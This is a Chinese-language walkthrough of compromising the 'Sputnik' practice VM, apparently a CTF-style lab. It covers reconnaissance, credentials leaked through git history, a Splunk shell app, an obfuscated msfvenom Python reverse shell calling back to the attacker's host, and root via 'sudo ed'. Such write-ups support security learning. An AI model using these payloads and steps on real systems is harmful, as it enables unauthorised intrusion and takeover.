Sputnik 打靶渗透

一、信息收集

1、查看靶机的MAC地址：

2、查看靶机的ip地址：

nmap 192.168.13.0/24

3、查看靶机开放的端口：

nmap -p- -sC -sT -sV -A 192.168.13.159

4、分别访问靶机的8089、55555和61337端口，发现在61337端口有一个登录框：

点击services和servicesNS是一个登录框

5、扫描各个网页的目录，查看是否有有效信息：

dirsearch -u "https://192.168.13.159:8089"  这个目录里面经过查看几乎没有什么有效信息

dirsearch -u "http://192.168.13.159:55555/"  发现这个目录里有.git源码泄露

dirsearch -u "http://192.168.13.159:61337"   这个登录页面扫描出来几乎都是404，没有有效信息

6、访问.git目录，并查看里面的内容：

7、在.git/logs/HEAD文件中，在里面发现一个clone记录：

8、对代码仓库进行clone，并查看源代码结构：

git clone https://github.com/ameerpornillos/flappy

9、使用git log命令用于显示代码提交的历史日志记录，在历史记录中找到一个secret记录，发现是一个账号和密码：

git log -p

+sputnik:ameer_says_thank_you_and_good_job

10、使用账号和密码登录61337端口：

账号：sputnik

密码：ameer_says_thank_you_and_good_job

11、在splunk上安装github公开工具，获取其shell并武器化：

从安装手册中得知，首先从 https://github.com/TBGSecurity/splunk_shells/archive/1.2.tar.gz 下载版本，然后在splunk中选择"Manage Apps" 并且点击 "Install app from file"

12、上载之后重启使其生效：

13、重启后输入账号密码重新登录后发现已经上传成功：

14、点击权限，选择所有应用然后保存：

15、选择app下的 Search&Reporting功能，在Search栏中可以进行命令执行：

16、反弹shell：

17、kali开启监听：

nc lvvp 5555

18、反弹成功并且查看到用户权限为普通用户：

19、获取一个交互式命令执行环境：

which python，发现本机安装了python环境：

msfvenom -p cmd/unix/reverse_python lhost=192.168.13.128 lport=6666 R

python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELgkAMx7+K+HQHMbsLxIh7kDCIqCB9l7wulOxOnH7/0gvao3vY2Pbb/mPNu3P9EKDTLzMEk61mj2PV9U4bRFJ0PtnNvnY4qFBsJYg4AbEBIZOQ9Ke9Kv4aqaHyQuAD+2XpoTxesoLK+0Z+3Z/KvLhl6ZnTNaCdtUYPjE1XkLlJlFPUITzGTjKEZ9Ma6xgn9HoxKRaTkpKd+v8R9L1tWRhVjY2wDvkHQj1eJA==')[0])))"

使用之前获得的shell执行命令，再监听6666端口，前一次执行命令报错是因为忘记监听了：

反弹成功，执行python -c 'import pty;pty.spawn("/bin/bash")'获得交互式shell：

二、提权

1、查看是否具有sudo权限：

sudo -l

2、查询ed进行sudo提权的命令，并使用命令进行提权，成功提到root权限：

sudo ed

！/bin/sh